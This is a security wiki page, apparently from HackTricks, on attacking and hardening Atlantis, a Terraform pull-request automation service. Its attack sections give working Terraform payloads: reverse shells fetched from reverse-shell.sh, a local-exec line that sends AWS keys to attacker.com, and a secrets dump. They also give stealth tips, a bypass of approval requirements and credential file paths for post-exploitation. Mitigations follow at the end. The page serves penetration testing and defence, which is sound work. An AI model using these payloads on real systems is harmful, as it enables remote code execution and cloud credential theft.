Sponsored

Atlantis Security

Basic Information

Atlantis is a pull-request-driven service that runs Terraform commands from comments on a Git host. [1][13]

Atlantis pull request workflow showing plan and apply comments in the PR lifecycle

Local Lab

  1. Go to the atlantis releases page in https://github.com/runatlantis/atlantis/releases and download the one that suits you. [4]
  2. Create a personal token (with repo access) of your github user. A dedicated CI user is preferable for anything beyond a local test. [3]
  3. Execute ./atlantis testdrive and it will create a demo repo you can use to talk to atlantis. [4]
    1. The default Atlantis web port is 4141, so the local page is normally available at 127.0.0.1:4141. [6]

Atlantis Access

Git Server Credentials

Atlantis supports GitHub, GitLab, Gitea, Bitbucket and Azure DevOps. It needs host credentials to clone repositories, update statuses and comment on pull requests; the exact minimum permissions vary by host, and GitHub status updates require write access.
The docs encourage creating a dedicated CI user for Atlantis, although a personal account can be used for testing. [3]

[!WARNING] In any case, from an attackers perspective, the Atlantis account is going to be one very interesting to compromise.

Webhooks

Atlantis optionally uses Webhook secrets to validate that the webhooks it receives from your Git host are legitimate. They are optional but strongly recommended. [5]

One way to confirm this would be to allowlist requests to only come from the IPs of your Git host but an easier way is to use a Webhook Secret.

Note that unless you use a private GitHub, GitLab, Gitea or Bitbucket server, you will need to expose webhook endpoints to the Internet. [26]

[!WARNING] Atlantis is going to be exposing webhooks so the git server can send it information. From an attackers perspective it would be interesting to know if you can send it messages.

Provider Credentials

From the docs:

Atlantis runs Terraform by simply executing terraform plan and apply commands on the server Atlantis is hosted on. Just like when you run Terraform locally, Atlantis needs credentials for your specific provider. [2]

It's up to you how you provide credentials for your specific provider to Atlantis: [2]

  • The Atlantis Helm Chart and AWS Fargate Module have their own mechanisms for provider credentials. Read their docs.
  • If you're running Atlantis in a cloud then many clouds have ways to give cloud API access to applications running on them, ex:
  • Many users set environment variables, ex. AWS_ACCESS_KEY, where Atlantis is running.
  • Others create the necessary config files, ex. ~/.aws/credentials, where Atlantis is running.
  • Use the HashiCorp Vault Provider to obtain provider credentials.

[!WARNING] The container where Atlantis is running may contain privileged credentials to the providers (AWS, GCP, GitHub...) that Atlantis is managing via Terraform. [2]

Web Page

By default Atlantis binds its web service to port 4141. The UI allows you to enable/disable apply, inspect plan status and unlock repositories; the documented --web-basic-auth option controls whether Basic Authentication protects it. If Basic Authentication is enabled without changing the defaults, the username and password are both atlantis. [6]

Treat an exposed UI without explicitly configured authentication as an attack surface, even though it is commonly bound to localhost in local deployments. [14] The page is primarily an operational interface rather than a repository or Terraform configuration editor.

Server Configuration

Configuration to atlantis server can be specified via command line flags, environment variables, a config file or a mix of the three. Atlantis maps flags to ATLANTIS_... variables and applies the precedence order flags, environment variables, then config file. [6]

Values are chosen in this order:

  1. Flags
  2. Environment Variables
  3. Config File

[!WARNING] Note that in the configuration you might find interesting values such as tokens and passwords.

Repos Configuration

Some configurations affect how the repos are managed. However, it's possible that each repo requires different settings, so there are ways to specify each repo. The repository-level file and server-side repo config control which settings may be selected or overridden. This is the priority order: [7][8]

  1. Repo /atlantis.yml file. This file can be used to specify how atlantis should treat the repo. However, by default some keys cannot be specified here without some flags allowing it.
    1. Probably required to be allowed by flags like allowed_overrides or allow_custom_workflows
  2. Server Side Config: You can pass it with the flag --repo-config and it's a yaml configuring new settings for each repo (regexes supported)
  3. Default values

PR Protections

Atlantis allows you to require that a PR be approved by somebody else and/or mergeable before running apply, independently of the VCS branch-protection settings. Enabling both requirements is a sensible security baseline. [8]

In case allowed_overrides is True, these setting can be overwritten on each project by the /atlantis.yml file. [8]

Scripts

The server-side repo config can specify scripts to run before (pre workflow hooks) and after (post workflow hooks) a workflow is executed; these hooks are configured server-side rather than in the repository's atlantis.yml. [9][10]

There isn't any option to allow specifying these scripts in the repo /atlantis.yml file. However, if a configured hook executes a repository-local script, changing that script in a PR can make the hook execute attacker-controlled code. This is an execution-path inference from the documented hook behavior and the branch checkout used by Atlantis. [9][10][14]

Workflow

In the repo config (server side config) you can specify a new default workflow, or create new custom workflows. You can also specify which repos can access the new ones generated.
Then, you can allow the atlantis.yaml file of each repo to specify the workflow to use. [7][8][11]

[!CAUTION] If the server side config flag allow_custom_workflows is set to True, workflows can be specified in the atlantis.yaml file of each repo. It's also potentially needed that allowed_overrides specifies also workflow to override the workflow that is going to be used. [8][11]
This will basically give RCE in the Atlantis server to any user that can access that repo. [14]

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Conftest Policy Checking

Atlantis supports running server-side conftest policies against the plan output. [12] Common usecases for using this step include:

  • Denying usage of a list of modules
  • Asserting attributes of a resource at creation time
  • Catching unintentional resource deletions
  • Preventing security risks (ie. exposing secure ports to the public)

You can check how to configure it in the docs. [12]

Atlantis Commands

In the docs you can find the options you can use to run Atlantis. Atlantis receives these commands through pull-request comments and passes supported arguments to Terraform. [13]

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Attacks

[!WARNING] If during the exploitation you find this error: Error: Error acquiring the state lock

You can fix it by running: [13]

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Config modification in new PR

If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can execute atlantis plan (or maybe it's automatically executed), a malicious Terraform configuration can lead to code execution on the Atlantis server. Atlantis explicitly documents malicious providers and the external data source as plan-time attack paths. [14][15][16][17]

You can do this by making Atlantis load an external data source. The provider executes the configured program, passes the Terraform process environment to it, and reruns it when the data source is refreshed; Terraform normally reads data sources during planning. Just put a payload like the following in the main.tf file. [15][16][17]

data "external" "example" {
  program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Stealthier Attack

You can perform this attack even in a stealthier way, by following this suggestions:

  • Instead of adding the rev shell directly into the terraform file, you can load an external resource that contains the rev shell:
module "not_rev_shell" {
  source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

You can find the rev shell code in https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

Terraform downloads Git-backed modules during initialization, and the referenced repository's module contains an external data source that runs a shell command. [16][22][25]

  • In the external resource, use the ref feature to select a branch, tag or commit and hide the terraform rev shell code in a branch inside of the repo, something like: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b [22][25]
  • Instead of creating a PR to master to trigger Atlantis, create 2 branches (test1 and test2) and create a PR from one to the other. When you have completed the attack, just remove the PR and the branches.

Atlantis plan Secrets Dump

You can dump secrets used by terraform running atlantis plan (terraform plan) by putting something like this in the terraform file. Terraform's nonsensitive function removes the sensitive marking, and output values are stored in state, so this intentionally exposes the value to Terraform output/state consumers. [23][24]

output "dotoken" {
  value = nonsensitive(var.do_token)
}

Atlantis apply RCE - Config modification in new PR

If you have write access over a repository you will be able to create a new branch on it and generate a PR. If you can execute atlantis apply, a malicious Terraform file can execute commands on the Atlantis server through a local-exec provisioner. [14][18][19]

However, you will usually need to bypass some protections:

  • Mergeable: If this protection is set in Atlantis, you can only run atlantis apply if the PR is mergeable (which means that the branch protection need to be bypassed).
  • Approved: If this protection is set in Atlantis, some other user must approve the PR before you can run atlantis apply

Running terraform apply on a malicious Terraform file with local-exec. Terraform documents that local-exec invokes an executable on the machine where Terraform runs. [18][19] You just need to make sure some payload like the following ones ends in the main.tf file:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
  provisioner "local-exec" {
    command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
  }
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
  provisioner "local-exec" {
    command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
  }
}

Follow the suggestions from the previous technique the perform this attack in a stealthier way.

Terraform Param Injection

When running atlantis plan or atlantis apply, Terraform runs under Atlantis and you can pass supported arguments after -- in the pull-request comment. Plan-changing arguments such as -var and -var-file belong on atlantis plan; Atlantis ignores those arguments during apply because it applies an already-generated plan file. [13]

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Terraform environment variables can also alter CLI behavior, including TF_CLI_ARGS, TF_CLI_ARGS_name, and TF_VAR_name; review them when assessing controls that rely on command-line defaults. Check Terraform env vars in https://www.terraform.io/cli/config/environment-variables. [20][21]

Custom Workflow

Running malicious custom build commands specified in an atlantis.yaml file. Atlantis uses the atlantis.yaml file from the pull request branch, not of master. [7][11][14]
This possibility was mentioned in a previous section:

[!CAUTION] If the server side config flag allow_custom_workflows is set to True, workflows can be specified in the atlantis.yaml file of each repo. It's also potentially needed that allowed_overrides specifies also workflow to override the workflow that is going to be used.

This will basically give RCE in the Atlantis server to any user that can access that repo.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Bypass plan/apply protections

If the server side config flag allowed_overrides has apply_requirements configured, it's possible for a repo to modify the plan/apply protections to bypass them. Atlantis documents that an allowed repo can set apply_requirements: [] in atlantis.yaml, disabling the requirement. [8]

repos:
  - id: /.*/
    apply_requirements: []

PR Hijacking

If someone sends atlantis plan/apply comments on your valid pull requests, it will cause Terraform to run when you don't want it to. Atlantis documents this as an attack path. [13][14]

Moreover, if you have not configured branch protection to dismiss stale approvals or require approval of the latest reviewable push when a new commit is pushed, someone could write malicious configs (check previous scenarios) in the Terraform config, run atlantis plan/apply and gain RCE. GitHub documents these settings as protections against unreviewed content added by later pushes. [14][29]

This is the setting in Github branch protections:

GitHub branch protection option to dismiss stale pull request approvals after new commits

Webhook Secret

If you manage to steal the webhook secret used or if there isn't any webhook secret being used, you could call the Atlantis webhook and invoke Atlantis commands directly. Webhook secrets are the authenticity check; the repo allowlist alone does not prove that a request came from the VCS provider. [5][14]

Bitbucket

Current Atlantis releases support --bitbucket-webhook-secret for Bitbucket Cloud, and Bitbucket Cloud supports secret tokens. Deployments running an older Atlantis version or omitting that setting can still allow attackers to spoof requests from Bitbucket, so use a webhook secret and/or allowlist Bitbucket's published IP ranges. [6][27][28]

  • Without webhook-secret validation, an attacker could make fake requests to Atlantis that look like they're coming from Bitbucket.
  • If you are specifying --repo-allowlist then they could only fake requests pertaining to those repos so the most damage they could do would be to plan/apply on your own repos.
  • To prevent this, allowlist Bitbucket's IP addresses (see Outbound IPv4 addresses). [28]

Post-Exploitation

If you managed to get access to the server or at least you got a LFI there are some interesting things you should try to read. Paths vary by deployment: Atlantis stores its database, checked-out repositories and plans under --data-dir, which defaults to ~/.atlantis; /atlantis-data is a common container override. [6]

  • /home/atlantis/.git-credentials Contains VCS access credentials when --write-git-creds is enabled. [3][6]
  • /atlantis-data/atlantis.db Contains VCS access credentials with more info when that deployment's --data-dir is /atlantis-data.
  • /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Terraform state file when that deployment uses the same data directory.
    • Example: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
  • /proc/1/environ Env variables
  • /proc/[2-20]/cmdline Cmd line of atlantis server (may contain sensitive data)

Mitigations

Don't Use On Public Repos

Because anyone can comment on public pull requests, even with all the security mitigations available, it's still dangerous to run Atlantis on public repos without proper configuration of the security settings. [14]

Don't Use --allow-fork-prs

If you're running on a public repo (which isn't recommended, see above) you shouldn't set --allow-fork-prs (defaults to false) because anyone can open up a pull request from their fork to your repo. [14]

--repo-allowlist

Atlantis requires you to specify a allowlist of repositories it will accept webhooks from via the --repo-allowlist flag. For example: [6][14]

  • Specific repositories: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
  • Your whole organization: --repo-allowlist=github.com/runatlantis/*
  • Every repository in your GitHub Enterprise install: --repo-allowlist=github.yourcompany.com/*
  • All repositories: --repo-allowlist=*. Useful for when you're in a protected network but dangerous without also setting a webhook secret.

This flag ensures your Atlantis install isn't being used with repositories you don't control. See atlantis server --help for more details.

Protect Terraform Planning

If attackers submitting pull requests with malicious Terraform code is in your threat model then you must be aware that terraform apply approvals are not enough. It is possible to run malicious code in a terraform plan using the external data source or by specifying a malicious provider. This code could then exfiltrate your credentials. [2][14][16][17]

To prevent this, you could:

  1. Bake providers into the Atlantis image or host and deny egress in production.
  2. Implement the provider registry protocol internally and deny public egress, that way you control who has write access to the registry.
  3. Modify your server-side repo configuration's plan step to validate against the use of disallowed providers or data sources or PRs from not allowed users. You could also add in extra validation at this point, e.g. requiring a "thumbs-up" on the PR before allowing the plan to continue. Conftest could be of use here. [8][12]

Webhook Secrets

Atlantis should be run with Webhook secrets set via the $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET environment variables. Even with the --repo-allowlist flag set, without a webhook secret, attackers could make requests to Atlantis posing as a repository that is allowlisted. Webhook secrets ensure that the webhook requests are actually coming from your VCS provider (GitHub or GitLab). [5][14]

If you are using Azure DevOps, instead of webhook secrets add a basic username and password. [5]

Azure DevOps Basic Authentication

Azure DevOps supports sending a basic authentication header in all webhook events. This requires using an HTTPS URL for your webhook location. [5]

SSL/HTTPS

If you're using webhook secrets but your traffic is over HTTP then the webhook secrets could be stolen. Enable SSL/HTTPS using the --ssl-cert-file and --ssl-key-file flags. [5][14]

Enable Authentication on Atlantis Web Server

It is very recommended to enable authentication in the web service. Enable BasicAuth using the --web-basic-auth=true and setup a username and a password using --web-username=yourUsername and --web-password=yourPassword flags. [6][14]

You can also pass these as environment variables ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername and ATLANTIS_WEB_PASSWORD=yourPassword. [6]

References

[!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Learn & practice Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)
Browse the full HackTricks Training catalog.

Support HackTricks